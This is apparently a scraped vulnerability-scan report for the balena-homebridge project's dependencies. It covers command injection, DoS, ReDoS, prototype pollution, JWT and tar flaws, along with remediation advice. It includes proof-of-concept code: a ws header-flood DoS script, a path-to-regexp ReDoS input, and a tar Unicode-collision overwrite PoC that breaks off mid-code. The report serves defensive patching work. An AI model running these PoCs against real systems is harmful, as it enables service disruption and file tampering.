Introduced through: balena-homebridge@aifreedom/balena-homebridge#193e6965b0a047104311624e7e652b836b4ffe09 › homebridge-config-ui-x@4.50.0 › systeminformation@5.12.1Remediation: Upgrade to homebridge-config-ui-x@5.17.0.
Overview
systeminformation is a simple system and OS information library.
Affected versions of this package are vulnerable to Command Injection via the wifiNetworks() function. Although the iface parameter is sanitized, it is passed unsanitized to execSync() when a timeout triggers a retry. An attacker can execute arbitrary operating system commands by supplying crafted input to the iface parameter.
Remediation
Upgrade systeminformation to version 5.30.8 or higher.
References
high severity
- Vulnerable module: ws
- Introduced through: homebridge-config-ui-x@4.50.0
Detailed paths
-
Introduced through: balena-homebridge@aifreedom/balena-homebridge#193e6965b0a047104311624e7e652b836b4ffe09 › homebridge-config-ui-x@4.50.0 › @nestjs/platform-socket.io@9.0.3 › socket.io@4.5.1 › engine.io@6.2.1 › ws@8.2.3Remediation: Upgrade to homebridge-config-ui-x@4.51.0.
Overview
ws is a simple to use websocket client, server and console for node.js.
Affected versions of this package are vulnerable to Denial of Service (DoS) when the number of received headers exceed the server.maxHeadersCount or request.maxHeadersCount threshold.
Workaround
This issue can be mitigating by following these steps:
Reduce the maximum allowed length of the request headers using the
--max-http-header-size=sizeand/or themaxHeaderSizeoptions so that no more headers than theserver.maxHeadersCountlimit can be sent.Set
server.maxHeadersCountto 0 so that no limit is applied.
PoC
const http = require('http');
const WebSocket = require('ws');
const server = http.createServer();
const wss = new WebSocket.Server({ server });
server.listen(function () {
const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
const headers = {};
let count = 0;
for (let i = 0; i < chars.length; i++) {
if (count === 2000) break;
for (let j = 0; j < chars.length; j++) {
const key = chars[i] + chars[j];
headers[key] = 'x';
if (++count === 2000) break;
}
}
headers.Connection = 'Upgrade';
headers.Upgrade = 'websocket';
headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
headers['Sec-WebSocket-Version'] = '13';
const request = http.request({
headers: headers,
host: '127.0.0.1',
port: server.address().port
});
request.end();
});
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
wspackage
Remediation
Upgrade ws to version 5.2.4, 6.2.3, 7.5.10, 8.17.1 or higher.
References
high severity
- Vulnerable module: axios
- Introduced through: homebridge-config-ui-x@4.50.0
Detailed paths
-
Introduced through: balena-homebridge@aifreedom/balena-homebridge#193e6965b0a047104311624e7e652b836b4ffe09 › homebridge-config-ui-x@4.50.0 › axios@0.27.2Remediation: Upgrade to homebridge-config-ui-x@4.52.0.
-
Introduced through: balena-homebridge@aifreedom/balena-homebridge#193e6965b0a047104311624e7e652b836b4ffe09 › homebridge-config-ui-x@4.50.0 › @nestjs/axios@0.1.0 › axios@0.27.2
-
Introduced through: balena-homebridge@aifreedom/balena-homebridge#193e6965b0a047104311624e7e652b836b4ffe09 › homebridge-config-ui-x@4.50.0 › @oznu/hap-client@1.9.0 › axios@0.27.2Remediation: Upgrade to homebridge-config-ui-x@4.56.0.
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Cross-site Request Forgery (CSRF) due to inserting the X-XSRF-TOKEN header using the secret XSRF-TOKEN cookie value in all requests to any server when the XSRF-TOKEN0 cookie is available, and the withCredentials setting is turned on. If a malicious user manages to obtain this value, it can potentially lead to the XSRF defence mechanism bypass.
Workaround
Users should change the default XSRF-TOKEN cookie name in the Axios configuration and manually include the corresponding header only in the specific places where it's necessary.
Remediation
Upgrade axios to version 0.28.0, 1.6.0 or higher.
References
high severity
- Module: @oznu/hap-client
- Introduced through: homebridge-config-ui-x@4.50.0
Detailed paths
-
Introduced through: balena-homebridge@aifreedom/balena-homebridge#193e6965b0a047104311624e7e652b836b4ffe09 › homebridge-config-ui-x@4.50.0 › @oznu/hap-client@1.9.0
GPL-3.0 license
medium severity
- Vulnerable module: axios
- Introduced through: homebridge-config-ui-x@4.50.0
Detailed paths
-
Introduced through: balena-homebridge@aifreedom/balena-homebridge#193e6965b0a047104311624e7e652b836b4ffe09 › homebridge-config-ui-x@4.50.0 › axios@0.27.2Remediation: Upgrade to homebridge-config-ui-x@5.6.1.
-
Introduced through: balena-homebridge@aifreedom/balena-homebridge#193e6965b0a047104311624e7e652b836b4ffe09 › homebridge-config-ui-x@4.50.0 › @nestjs/axios@0.1.0 › axios@0.27.2
-
Introduced through: balena-homebridge@aifreedom/balena-homebridge#193e6965b0a047104311624e7e652b836b4ffe09 › homebridge-config-ui-x@4.50.0 › @oznu/hap-client@1.9.0 › axios@0.27.2Remediation: Upgrade to homebridge-config-ui-x@4.56.0.
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the data: URL handler. An attacker can trigger a denial of service by crafting a data: URL with an excessive payload, causing allocation of memory for content decoding before verifying content size limits.
Remediation
Upgrade axios to version 0.30.0, 1.12.0 or higher.
References
medium severity
- Vulnerable module: find-my-way
- Introduced through: homebridge-config-ui-x@4.50.0
Detailed paths
-
Introduced through: balena-homebridge@aifreedom/balena-homebridge#193e6965b0a047104311624e7e652b836b4ffe09 › homebridge-config-ui-x@4.50.0 › fastify@4.2.1 › find-my-way@7.7.0Remediation: Upgrade to homebridge-config-ui-x@4.56.0.
-
Introduced through: balena-homebridge@aifreedom/balena-homebridge#193e6965b0a047104311624e7e652b836b4ffe09 › homebridge-config-ui-x@4.50.0 › @nestjs/platform-fastify@9.0.3 › fastify@4.2.0 › find-my-way@7.7.0Remediation: Upgrade to homebridge-config-ui-x@4.56.0.
Overview
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) when including two parameters ending with - in a single segment, which causes inefficient backtracking when parsing the string into a regular expression. The resulting poor performance can lead to denial of service.
Note:
This vulnerability is similar to the path-to-regexp ReDoS Vulnerability
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade find-my-way to version 8.2.2, 9.0.1 or higher.
References
medium severity
- Vulnerable module: js-yaml
- Introduced through: homebridge-config-ui-x@4.50.0
Detailed paths
-
Introduced through: balena-homebridge@aifreedom/balena-homebridge#193e6965b0a047104311624e7e652b836b4ffe09 › homebridge-config-ui-x@4.50.0 › @nestjs/swagger@6.0.4 › js-yaml@4.1.0Remediation: Upgrade to homebridge-config-ui-x@5.11.0.
Overview
js-yaml is a human-friendly data serialization language.
Affected versions of this package are vulnerable to Prototype Pollution via the merge function. An attacker can alter object prototypes by supplying specially crafted YAML documents containing __proto__ properties. This can lead to unexpected behavior or security issues in applications that process untrusted YAML input.
Workaround
This vulnerability can be mitigated by running the server with node --disable-proto=delete or by using Deno, which has pollution protection enabled by default.
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade js-yaml to version 3.14.2, 4.1.1 or higher.
References
medium severity
- Vulnerable module: lodash
- Introduced through: homebridge-config-ui-x@4.50.0
Detailed paths
-
Introduced through: balena-homebridge@aifreedom/balena-homebridge#193e6965b0a047104311624e7e652b836b4ffe09 › homebridge-config-ui-x@4.50.0 › @nestjs/swagger@6.0.4 › lodash@4.17.21Remediation: Upgrade to homebridge-config-ui-x@5.16.0.
Overview
lodash is a modern JavaScript utility library delivering modularity, performance, & extras.
Affected versions of this package are vulnerable to Prototype Pollution via the _.unset and _.omit functions. An attacker can delete methods held in properties of global prototypes but cannot overwrite those properties.
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade lodash to version 4.17.23 or higher.
References
medium severity
new
- Vulnerable module: lodash
- Introduced through: homebridge-config-ui-x@4.50.0
Detailed paths
-
Introduced through: balena-homebridge@aifreedom/balena-homebridge#193e6965b0a047104311624e7e652b836b4ffe09 › homebridge-config-ui-x@4.50.0 › @nestjs/swagger@6.0.4 › lodash@4.17.21
Overview
lodash is a modern JavaScript utility library delivering modularity, performance, & extras.
Affected versions of this package are vulnerable to Prototype Pollution via the _.unset and _.omit functions. An attacker can delete properties from built-in prototypes by supplying array-wrapped path segments, potentially impacting application behaviour.
Notes:
Version 4.18.0 was intended to fix this vulnerability but it got deprecated due to introducing a breaking functionality issue.
This issue is due to incomplete fix for CVE-2025-13465 which protects only against string key members.
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade lodash to version 4.18.1 or higher.
References
medium severity
- Vulnerable module: path-to-regexp
- Introduced through: homebridge-config-ui-x@4.50.0
Detailed paths
-
Introduced through: balena-homebridge@aifreedom/balena-homebridge#193e6965b0a047104311624e7e652b836b4ffe09 › homebridge-config-ui-x@4.50.0 › @nestjs/core@9.0.3 › path-to-regexp@3.2.0Remediation: Upgrade to homebridge-config-ui-x@4.59.0.
-
Introduced through: balena-homebridge@aifreedom/balena-homebridge#193e6965b0a047104311624e7e652b836b4ffe09 › homebridge-config-ui-x@4.50.0 › @nestjs/platform-fastify@9.0.3 › path-to-regexp@3.2.0Remediation: Upgrade to homebridge-config-ui-x@4.59.0.
-
Introduced through: balena-homebridge@aifreedom/balena-homebridge#193e6965b0a047104311624e7e652b836b4ffe09 › homebridge-config-ui-x@4.50.0 › @nestjs/swagger@6.0.4 › path-to-regexp@3.2.0Remediation: Upgrade to homebridge-config-ui-x@4.59.0.
Overview
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) when including multiple regular expression parameters in a single segment, which will produce the regular expression /^\/([^\/]+?)-([^\/]+?)\/?$/, if two parameters within a single segment are separated by a character other than a / or .. Poor performance will block the event loop and can lead to a DoS.
Note:
While the 8.0.0 release has completely eliminated the vulnerable functionality, prior versions that have received the patch to mitigate backtracking may still be vulnerable if custom regular expressions are used. So it is strongly recommended for regular expression input to be controlled to avoid malicious performance degradation in those versions. This behavior is enforced as of version 7.1.0 via the strict option, which returns an error if a dangerous regular expression is detected.
Workaround
This vulnerability can be avoided by using a custom regular expression for parameters after the first in a segment, which excludes - and /.
PoC
/a${'-a'.repeat(8_000)}/a
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade path-to-regexp to version 0.1.10, 1.9.0, 3.3.0, 6.3.0, 8.0.0 or higher.
References
medium severity
- Vulnerable module: jsonwebtoken
- Introduced through: homebridge-config-ui-x@4.50.0
Detailed paths
-
Introduced through: balena-homebridge@aifreedom/balena-homebridge#193e6965b0a047104311624e7e652b836b4ffe09 › homebridge-config-ui-x@4.50.0 › @nestjs/jwt@9.0.0 › jsonwebtoken@8.5.1Remediation: Upgrade to homebridge-config-ui-x@4.51.0.
-
Introduced through: balena-homebridge@aifreedom/balena-homebridge#193e6965b0a047104311624e7e652b836b4ffe09 › homebridge-config-ui-x@4.50.0 › passport-jwt@4.0.0 › jsonwebtoken@8.5.1Remediation: Upgrade to homebridge-config-ui-x@4.51.0.
Overview
jsonwebtoken is a JSON Web Token implementation (symmetric and asymmetric)
Affected versions of this package are vulnerable to Use of a Broken or Risky Cryptographic Algorithm such that the library can be misconfigured to use legacy, insecure key types for signature verification. For example, DSA keys could be used with the RS256 algorithm.
Exploitability
Users are affected when using an algorithm and a key type other than the combinations mentioned below:
EC: ES256, ES384, ES512
RSA: RS256, RS384, RS512, PS256, PS384, PS512
RSA-PSS: PS256, PS384, PS512
And for Elliptic Curve algorithms:
ES256: prime256v1
ES384: secp384r1
ES512: secp521r1
Workaround
Users who are unable to upgrade to the fixed version can use the allowInvalidAsymmetricKeyTypes option to true in the sign() and verify() functions to continue usage of invalid key type/algorithm combination in 9.0.0 for legacy compatibility.
Remediation
Upgrade jsonwebtoken to version 9.0.0 or higher.
References
medium severity
- Vulnerable module: jsonwebtoken
- Introduced through: homebridge-config-ui-x@4.50.0
Detailed paths
-
Introduced through: balena-homebridge@aifreedom/balena-homebridge#193e6965b0a047104311624e7e652b836b4ffe09 › homebridge-config-ui-x@4.50.0 › @nestjs/jwt@9.0.0 › jsonwebtoken@8.5.1Remediation: Upgrade to homebridge-config-ui-x@4.51.0.
-
Introduced through: balena-homebridge@aifreedom/balena-homebridge#193e6965b0a047104311624e7e652b836b4ffe09 › homebridge-config-ui-x@4.50.0 › passport-jwt@4.0.0 › jsonwebtoken@8.5.1Remediation: Upgrade to homebridge-config-ui-x@4.51.0.
Overview
jsonwebtoken is a JSON Web Token implementation (symmetric and asymmetric)
Affected versions of this package are vulnerable to Improper Restriction of Security Token Assignment via the secretOrPublicKey argument due to misconfigurations of the key retrieval function jwt.verify(). Exploiting this vulnerability might result in incorrect verification of forged tokens when tokens signed with an asymmetric public key could be verified with a symmetric HS256 algorithm.
Note:
This vulnerability affects your application if it supports the usage of both symmetric and asymmetric keys in jwt.verify() implementation with the same key retrieval function.
Remediation
Upgrade jsonwebtoken to version 9.0.0 or higher.
References
medium severity
- Vulnerable module: tar
- Introduced through: homebridge-config-ui-x@4.50.0
Detailed paths
-
Introduced through: balena-homebridge@aifreedom/balena-homebridge#193e6965b0a047104311624e7e652b836b4ffe09 › homebridge-config-ui-x@4.50.0 › tar@6.1.11Remediation: Upgrade to homebridge-config-ui-x@4.56.0.
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Uncontrolled Resource Consumption ('Resource Exhaustion') due to the lack of folders count validation during the folder creation process. An attacker who generates a large number of sub-folders can consume memory on the system running the software and even crash the client within few seconds of running it using a path with too many sub-folders inside.
Remediation
Upgrade tar to version 6.2.1 or higher.
References
medium severity
- Vulnerable module: jsonwebtoken
- Introduced through: homebridge-config-ui-x@4.50.0
Detailed paths
-
Introduced through: balena-homebridge@aifreedom/balena-homebridge#193e6965b0a047104311624e7e652b836b4ffe09 › homebridge-config-ui-x@4.50.0 › @nestjs/jwt@9.0.0 › jsonwebtoken@8.5.1Remediation: Upgrade to homebridge-config-ui-x@4.51.0.
-
Introduced through: balena-homebridge@aifreedom/balena-homebridge#193e6965b0a047104311624e7e652b836b4ffe09 › homebridge-config-ui-x@4.50.0 › passport-jwt@4.0.0 › jsonwebtoken@8.5.1Remediation: Upgrade to homebridge-config-ui-x@4.51.0.
Overview
jsonwebtoken is a JSON Web Token implementation (symmetric and asymmetric)
Affected versions of this package are vulnerable to Improper Authentication such that the lack of algorithm definition in the jwt.verify() function can lead to signature validation bypass due to defaulting to the none algorithm for signature verification.
Exploitability
Users are affected only if all of the following conditions are true for the jwt.verify() function:
A token with no signature is received.
No algorithms are specified.
A falsy (e.g.,
null,false,undefined) secret or key is passed.
Remediation
Upgrade jsonwebtoken to version 9.0.0 or higher.
References
medium severity
- Vulnerable module: tar
- Introduced through: homebridge-config-ui-x@4.50.0
Detailed paths
-
Introduced through: balena-homebridge@aifreedom/balena-homebridge#193e6965b0a047104311624e7e652b836b4ffe09 › homebridge-config-ui-x@4.50.0 › tar@6.1.11Remediation: Upgrade to homebridge-config-ui-x@5.15.1.
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Improper Handling of Unicode Encoding in Path Reservations via Unicode Sharp-S (ß) Collisions on macOS APFS. An attacker can overwrite arbitrary files by exploiting Unicode normalization collisions in filenames within a malicious tar archive on case-insensitive or normalization-insensitive filesystems.
Note:
This is only exploitable if the system is running on a filesystem such as macOS APFS or HFS+ that ignores Unicode normalization.
Workaround
This vulnerability can be mitigated by filtering out all SymbolicLink entries when extracting tarball data.
PoC
const tar = require('tar');
const fs = require('fs');
const path = require('path');
const { PassThrough } = require('stream');
const exploitDir = path.resolve('race_exploit_dir');
if (fs.existsSync(exploitDir)) fs.rmSync(exploitDir, { recursive: true, force: true });
fs.mkdirSync(exploitDir);
console.log('[*] Testing...');
console.log(`[*] Extraction target: ${exploitDir}`);
// Construct stream
const stream = new PassThrough();
const contentA = 'A'.repeat(1000);
const contentB = 'B'.repeat(1000);
// Key 1: "f_ss"
const header1 = new tar.Header({
path: 'collision_ss',
mode: 0o644,
size: contentA.length,
});
header1.encode();
// Key 2: "f_ß"
const header2 = new tar.Header({
path: 'collision_ß',
mode: 0o644,
size: contentB.length,
});
header2.encode();
// Write to stream
stream.write(header1.block);
stream.write(contentA);
stream.write(Buffer.alloc(512 - (contentA.length % 512))); // Padding
stream.write(header2.block);
stream.write(contentB);
stream.write(Buffer.alloc(512 - (contentB.length % 512))); // Padding
// End
stream.write(Buffer.alloc(1024));
stream.end();
// Extract
const extract = new tar.Unpack({
cwd: exploitDir,
